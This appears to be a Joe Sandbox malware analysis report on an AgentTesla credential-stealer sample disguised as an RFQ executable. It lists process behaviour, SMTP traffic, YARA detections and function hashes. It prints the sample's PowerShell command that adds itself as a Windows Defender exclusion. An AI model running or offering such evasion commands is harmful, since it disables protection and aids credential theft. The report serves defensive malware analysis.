Jun 4, 2024 08:19:07.809391975 CEST	174	IN	HTTP/1.1 200 OK Date: Tue, 04 Jun 2024 06:19:07 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Jun 4, 2024 08:19:09.552175999 CEST	587	49702	185.230.214.164	192.168.2.10	220 mx.zoho.eu SMTP Server ready June 4, 2024 8:19:09 AM CEST
Jun 4, 2024 08:19:09.552510977 CEST	49702	587	192.168.2.10	185.230.214.164	EHLO 585948
Jun 4, 2024 08:19:10.205205917 CEST	587	49702	185.230.214.164	192.168.2.10	250-mx.zoho.eu Hello 585948 (173.254.250.91 (173.254.250.91)) 250-STARTTLS 250 SIZE 53477376
Jun 4, 2024 08:19:10.205466986 CEST	49702	587	192.168.2.10	185.230.214.164	STARTTLS
Jun 4, 2024 08:19:10.471451998 CEST	587	49702	185.230.214.164	192.168.2.10	220 Ready to start TLS.
Jun 4, 2024 08:19:14.604372025 CEST	587	49709	185.230.214.164	192.168.2.10	220 mx.zoho.eu SMTP Server ready June 4, 2024 8:19:14 AM CEST
Jun 4, 2024 08:19:14.604527950 CEST	49709	587	192.168.2.10	185.230.214.164	EHLO 585948
Jun 4, 2024 08:19:14.872539043 CEST	587	49709	185.230.214.164	192.168.2.10	250-mx.zoho.eu Hello 585948 (173.254.250.91 (173.254.250.91)) 250-STARTTLS 250 SIZE 53477376
Jun 4, 2024 08:19:14.872751951 CEST	49709	587	192.168.2.10	185.230.214.164	STARTTLS
Jun 4, 2024 08:19:15.140501022 CEST	587	49709	185.230.214.164	192.168.2.10	220 Ready to start TLS.

Target ID:	0
Start time:	02:18:58
Start date:	04/06/2024
Path:	C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe"
Imagebase:	0x23ab8000000
File size:	679'855 bytes
MD5 hash:	D617ED4EA343A0460E10F0E8A438CFEB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.1402644307.0000023ABA38A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1403203192.0000023ACA001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000000.00000002.1403203192.0000023ACA001000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:18:58
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:19:05
Start date:	04/06/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.exe" -Force
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:19:05
Start date:	04/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:19:05
Start date:	04/06/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Imagebase:	0xa70000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.2510069403.0000000002DBE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.2510069403.0000000002DE2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.2510069403.0000000002D92000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.2510069403.0000000002D92000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.2507112723.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000B.00000002.2507112723.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	02:19:06
Start date:	04/06/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7312 -s 1144
Imagebase:	0x7ff6b0720000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	02:19:09
Start date:	04/06/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6616b0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	13%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF7C19362E0 Relevance: 2.9, Strings: 2, Instructions: 447
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H, xrefs: 00007FF7C1936416
fish, xrefs: 00007FF7C19363A0

Memory Dump Source

Source File: 00000000.00000002.1405598535.00007FF7C1930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c1930000_RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.jbxd

Similarity

API ID:
String ID: H$fish
API String ID: 0-2025339721
Opcode ID: 6575e590c3cab85b29f842c572de9c2c520f322974e3d4ed9eee97d2416a6912
Instruction ID: 186d482815e951093f97dfe2dd50d80c6fec12bff35b84d02905c25fc09e014b
Opcode Fuzzy Hash: 6575e590c3cab85b29f842c572de9c2c520f322974e3d4ed9eee97d2416a6912
Instruction Fuzzy Hash: 6DC14C31A1CA894FD748FF3898655B5B7E1FF96364B84417EE48BC3293DE24AC428781

Function 00007FF7C1A20000 Relevance: 2.1, Instructions: 2141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1405981178.00007FF7C1A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c1a20000_RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dd9c8233550fc6bdbb46d8372b8ac8c794ab88aaacd35051207617c3a1cce1e
Instruction ID: cfafee0298429e173558492277fa06f96c199ec1c2c83aabfa5a3c2cbfaa5d89
Opcode Fuzzy Hash: 8dd9c8233550fc6bdbb46d8372b8ac8c794ab88aaacd35051207617c3a1cce1e
Instruction Fuzzy Hash: A6E2383180D7C54FE756EF288855AA8BFA0FF56310F5802FBC48DDB193DA68A846C791

Function 00007FF7C1933898 Relevance: 2.0, Strings: 1, Instructions: 716
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d, xrefs: 00007FF7C1936A9F

Memory Dump Source

Source File: 00000000.00000002.1405598535.00007FF7C1930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c1930000_RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 762e931f8944dadc0b1dc2131df3be095844e9d88840e7918e1fbc6662043ff9
Instruction ID: 723a5d6c4360677d400e3c751129ac1afb81bb9bbe7d5e74deed6fe73d455a04
Opcode Fuzzy Hash: 762e931f8944dadc0b1dc2131df3be095844e9d88840e7918e1fbc6662043ff9
Instruction Fuzzy Hash: 40224530A1CA894FE749EF2888855B1B7E1FF45328B9442B9C48EC7597DE68F843C791

Function 00007FF7C194071A Relevance: 1.7, Instructions: 1690
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1405598535.00007FF7C1930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c1930000_RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd94f1629f561a96db871db92a7376161667118864266778e476e7f69d4e2c61
Instruction ID: 90bc0a4a8c85c32b9e91778c77c0bffa2c3fa8440bbc7a92422242a423595f6f
Opcode Fuzzy Hash: cd94f1629f561a96db871db92a7376161667118864266778e476e7f69d4e2c61
Instruction Fuzzy Hash: 82C2673060CB8A4FD359EF28C4904B5B7E2FF96315B5446BED48AC72A6DE34E846C781

Function 00007FF7C1941F1F Relevance: 1.6, Instructions: 1561COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1405598535.00007FF7C1930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c1930000_RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9689a65c144547c374fcb2db21e704b776560927174c0fc409bb586dfb84113c
Instruction ID: 0350cd8d01f4e0683c0a535c8595ac00fd3da98ca05cda20b6d284124456fa5b
Opcode Fuzzy Hash: 9689a65c144547c374fcb2db21e704b776560927174c0fc409bb586dfb84113c
Instruction Fuzzy Hash: BB72AC3090CB894FE359EF28D4515B5B7E1FF95328B5006BED48AC7292DE28F846C792

Function 00007FF7C193A950 Relevance: 1.4, Instructions: 1406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1405598535.00007FF7C1930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c1930000_RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c13c11f0156600c43904fda5eb1ebf7b5a4852ca235fc9b53d791dcd4a66f156
Instruction ID: 24ff0376a128c6864a421e57139b1b697cca7e0e6ed93924ff3de987c4ffd768
Opcode Fuzzy Hash: c13c11f0156600c43904fda5eb1ebf7b5a4852ca235fc9b53d791dcd4a66f156
Instruction Fuzzy Hash: 8BA2F530A0CA8A8FE7A9EF28D455678B7E1FF55315F4401BAD08EC72A2DE64EC42C751

Function 00007FF7C1936190 Relevance: 1.1, Instructions: 1108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1405598535.00007FF7C1930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c1930000_RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 938162d50f6fff96e76ed0cb7fb8d7e36b72cc3ef2328145fb29071ec5e3270a
Instruction ID: 2b41b932d7a5eb33169813c0cbb4afca40f34a40a322fdaea11592610a937097
Opcode Fuzzy Hash: 938162d50f6fff96e76ed0cb7fb8d7e36b72cc3ef2328145fb29071ec5e3270a
Instruction Fuzzy Hash: 6582683290C6C64FE769EF1884402B5BBE1EF95328F5441BDD48E876D3DE68B846C7A0

Function 00007FF7C193EBBA Relevance: .9, Instructions: 872
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1405598535.00007FF7C1930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c1930000_RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4879e67e9c90fc4222f33b64c9d2da487b5e0796bcc95086990d7a77d609961
Instruction ID: d42733a7e82855f9abbfe041c20eca51cd97d73856c344dfe7b1af170c839f2a
Opcode Fuzzy Hash: c4879e67e9c90fc4222f33b64c9d2da487b5e0796bcc95086990d7a77d609961
Instruction Fuzzy Hash: 6F421730A0CA498FDBA8EF2CD855A79B7E1FF55314B9401BDE48EC7292DE24EC428751

Function 00007FF7C193CFB4 Relevance: .7, Instructions: 693COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1405598535.00007FF7C1930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c1930000_RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2739878ddfba4c99325e82e51ba6c429694d0616291bc383897d0f1e02adeb89
Instruction ID: 8d65a36a2745834b7860dd8323547601d76d5def788e246fec9192f240eb711c
Opcode Fuzzy Hash: 2739878ddfba4c99325e82e51ba6c429694d0616291bc383897d0f1e02adeb89
Instruction Fuzzy Hash: 6B226C3050CB894FE309EF2884651B5F7E1FF85329BD445BED48AC72A6DE28E846C791

Function 00007FF7C193D779 Relevance: .5, Instructions: 511COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1405598535.00007FF7C1930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c1930000_RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 541699a80e0c75d7edf808d5259ec53829a8497145fc353044f1ca916cefc956
Instruction ID: 9bcdd98fb4fc753aeb622cb2110eeeddd29548bbdf393c8298563c85ed0cdc21
Opcode Fuzzy Hash: 541699a80e0c75d7edf808d5259ec53829a8497145fc353044f1ca916cefc956
Instruction Fuzzy Hash: 3AF1743460CB864FE31DDB2884A51B5F7E2FF91315B9446BED4CAC72A1DE28E802C791

Function 00007FF7C193194D Relevance: .4, Instructions: 433COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1405598535.00007FF7C1930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c1930000_RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d3a49c685cffbe591f7c7973ad4d633b7e22462bc414b009f676c26984d08af
Instruction ID: ce43fb972f84b46c8a7d87241e815ae3c9b93d5ad2c186e85b4144773119f2b9
Opcode Fuzzy Hash: 4d3a49c685cffbe591f7c7973ad4d633b7e22462bc414b009f676c26984d08af
Instruction Fuzzy Hash: 89D1A160B18A894FE789FB2C8855778FBE2EF4A754F8401BAD04DC7397CD68AC428751

Function 00007FF7C19467E8 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1405598535.00007FF7C1930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c1930000_RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43d9e97e244467df08a0b964e22290edbcd7204c885000f0351cba560f023322
Instruction ID: bf8ad6f663b64f72896705ecf7d2849b63bf751eb923c39b293235acf78b2793
Opcode Fuzzy Hash: 43d9e97e244467df08a0b964e22290edbcd7204c885000f0351cba560f023322
Instruction Fuzzy Hash: 3B41297160C7890FD71E9A388C661B57BA5EB83220B1582BFD5C7C72D7EC18A81787D2

Function 00007FF7C1934F6D Relevance: 1.6, APIs: 1, Instructions: 127
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FF7C1935021

Memory Dump Source

Source File: 00000000.00000002.1405598535.00007FF7C1930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c1930000_RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 740892c583aef0ac7995ca0f278fb7715c45ce68daf82112689c1ca84dcafb32
Instruction ID: 2e17f876957fd237a9e899c5cc4af2228023e4b86b17630cb7ca8a40692c530f
Opcode Fuzzy Hash: 740892c583aef0ac7995ca0f278fb7715c45ce68daf82112689c1ca84dcafb32
Instruction Fuzzy Hash: 9A31D63190CA5C5FDB08DF989845AF9BBF1EB96311F04426FD049D3252CB646856CB91

Function 00007FF7C193B3D5 Relevance: 1.6, APIs: 1, Instructions: 125
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FF7C1949D61

Memory Dump Source

Source File: 00000000.00000002.1405598535.00007FF7C1930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c1930000_RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 80276e395dcb180882deebb50d7c315b499430c0ec24c45366f347d7e6d2a4e6
Instruction ID: 6f59c8ec18ae0b881151bc8b35bdaca564d2ed3687bb2e4ab28f2d6b9c4a8c29
Opcode Fuzzy Hash: 80276e395dcb180882deebb50d7c315b499430c0ec24c45366f347d7e6d2a4e6
Instruction Fuzzy Hash: B231F871A0CA5C9FDB18EF5C984A6F9BBE1EB95321F04427FE04AC3291CB616852C791

Function 00007FF7C19309C9 Relevance: 1.6, APIs: 1, Instructions: 90
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00007FF7C1930A4F

Memory Dump Source

Source File: 00000000.00000002.1405598535.00007FF7C1930000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c1930000_RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: 9516caa066f6ef077190783abeabee84770eacb58aaed1d6e56af1717371848d
Instruction ID: ba36b0dcb7f2b44ee5ea93af29b92947cd5a59270cb04c3d43ce5dc646501136
Opcode Fuzzy Hash: 9516caa066f6ef077190783abeabee84770eacb58aaed1d6e56af1717371848d
Instruction Fuzzy Hash: 6321837090DB4C8FDB59EB58D8496E9BFF0EF56310F04416FD08AC3552DA64684ACB51

Function 00007FF7C1A210C9 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1405981178.00007FF7C1A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c1a20000_RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 957865ff62cb62b2b99c3d5cd03f7759ff95fe2734f1cd65be3ab19ed19f5892
Instruction ID: 6acc79fa7807d826835c657ab58e0ec14c949819a547ceff1b790d103d5977b6
Opcode Fuzzy Hash: 957865ff62cb62b2b99c3d5cd03f7759ff95fe2734f1cd65be3ab19ed19f5892
Instruction Fuzzy Hash: DA71573090CBC94FDB96EF2888589A8BBF0FF56314B5901FBD04EC7193DA68A845C391

Function 00007FF7C1A20A04 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1405981178.00007FF7C1A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF7C1A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7c1a20000_RFQ678903423_PROD_HASUE_de_Mexicso_MAT_MEX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e9115a457bb8814100b4b0ca98f4aa0c9078babcd0d35acb51e6a72be6ad374
Instruction ID: 77afe89a9de21a753aebb68f95491253aca69f679c46e6beb0759e163bcae668
Opcode Fuzzy Hash: 5e9115a457bb8814100b4b0ca98f4aa0c9078babcd0d35acb51e6a72be6ad374
Instruction Fuzzy Hash: 2FE0E531A046288ADB60EA48CC81BD9B3B1EB85210F0041E6D44DA3241CA306A84CB82

Analysis Process: RegAsm.exePID: 7924, Parent PID: 7312COMMON

Execution Graph

Execution Coverage:	11%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.9%
Total number of Nodes:	61
Total number of Limit Nodes:	5

Executed Functions

Function 06650040 Relevance: 3.1, Instructions: 3076COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a64bd9229bf4630af915a8f8f9f12d88b1e34bf5ed9d5366f1e3a8ff7f8fccfc
Instruction ID: 2911b69a9a2893a0c5400d6db8f712da9ee1b2daa9987132dd67c77602a9a8b0
Opcode Fuzzy Hash: a64bd9229bf4630af915a8f8f9f12d88b1e34bf5ed9d5366f1e3a8ff7f8fccfc
Instruction Fuzzy Hash: 2F630A31D10B1A8ADB11EF68C990699F7B1FF99300F15C69AE45977221FB70AAC4CF81

Function 066533F8 Relevance: 2.3, Instructions: 2326COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dc06357714d6f7fbc48144d571237084122121013eb81d67cd0b3e09b22a74e
Instruction ID: 6844e5a977578ea76603255aae6375dbde365e3dc5f98752322af789a3329d15
Opcode Fuzzy Hash: 7dc06357714d6f7fbc48144d571237084122121013eb81d67cd0b3e09b22a74e
Instruction Fuzzy Hash: 0933FB31D106198EDB11EF68C8806ADF7B1FF99300F25C69AD459BB211EB70AAD5CF81

Function 06E66A10 Relevance: 1.9, APIs: 1, Instructions: 396
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2514900014.0000000006E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6e60000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8342565c6d65a5024200282f816c77f9a9fecfdb17906c2fbdcdf4974e23cbf
Instruction ID: b2ae72413c2478815a89c1ce0338a84f069f5c5407a7de1e37f338d25d2dc3ce
Opcode Fuzzy Hash: d8342565c6d65a5024200282f816c77f9a9fecfdb17906c2fbdcdf4974e23cbf
Instruction Fuzzy Hash: D0F17930E50309CFEB54DFAAC948B9DBBF1BF88344F249168E415AF265DB70A945CB81

Function 010E70B0 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 010E7127

Memory Dump Source

Source File: 0000000B.00000002.2509221471.00000000010E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 010E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_10e0000_RegAsm.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 64302ef8831852005a0cf1b1497ca97901fa0a292b18d3971530dd66f6e5c982
Instruction ID: d1ec0c044d5acce00875c9ebcc41767de286fb37604bfb188f112062382be27c
Opcode Fuzzy Hash: 64302ef8831852005a0cf1b1497ca97901fa0a292b18d3971530dd66f6e5c982
Instruction Fuzzy Hash: 0A2139B2C003598FDB14CF9AD884BEEFBF5AF49210F14845AE455B7250D778A944CFA1

Function 06655B98 Relevance: 1.5, Instructions: 1485COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81f2cf2e84e4411ece318faa5745cbe4bc5e4207a9036eddad9c06ec47278f1b
Instruction ID: 03409cdf3f4a7ff0a79d1884ed1537436bd5adc00b93b4b12b1fb0435c8decb5
Opcode Fuzzy Hash: 81f2cf2e84e4411ece318faa5745cbe4bc5e4207a9036eddad9c06ec47278f1b
Instruction Fuzzy Hash: 35D24A30E102058FDB64DB68C594A9DB7B2FF89310F55C5AAD849AB361EB31ED81CF90

Function 06650006 Relevance: 1.2, Instructions: 1172COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1f60ca58884d79a3d32cf660e57b475993e0d2070a8e64efaf7ba2986c42a6f
Instruction ID: aa1b24b26bb375a258c55206dcdf9f0a64127af13b8546fd91c0f24ec48d1f16
Opcode Fuzzy Hash: f1f60ca58884d79a3d32cf660e57b475993e0d2070a8e64efaf7ba2986c42a6f
Instruction Fuzzy Hash: 51C2F831D10B1A8ADB11EF68C9406A9F7B1FF99300F15D69AE45877221FB70AAD4CF81

Function 06659E28 Relevance: .8, Instructions: 812COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b74e76e3dd36ee5c54350f904da511e5874055ae8b05e61d137bf42939b5c327
Instruction ID: f111be1bc0f323c431b0cbd33b9c9b1792e30afb38f17f68e5434e748eb227be
Opcode Fuzzy Hash: b74e76e3dd36ee5c54350f904da511e5874055ae8b05e61d137bf42939b5c327
Instruction Fuzzy Hash: 6662AD30A102059FDB64DBA8D595BADB7F2FF88310F158669E806EB350DB35EC42CB90

Function 0665EA68 Relevance: .8, Instructions: 770COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2514623050.0000000006650000.00000040.00000800.00020000.00000000.sdmp, Offset: 06650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6650000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18e73d9f9cd3386408da5c12f28bbc6682d19f8a867aa7dacdb0aaad89d732da
Instruction ID: 5e5ff7d9613f5ec903804ca6e849c5af64fc8e396d08a93ca7546db8133c6a2e
Opcode Fuzzy Hash: 18e73d9f9cd3386408da5c12f28bbc6682d19f8a867aa7dacdb0aaad89d732da
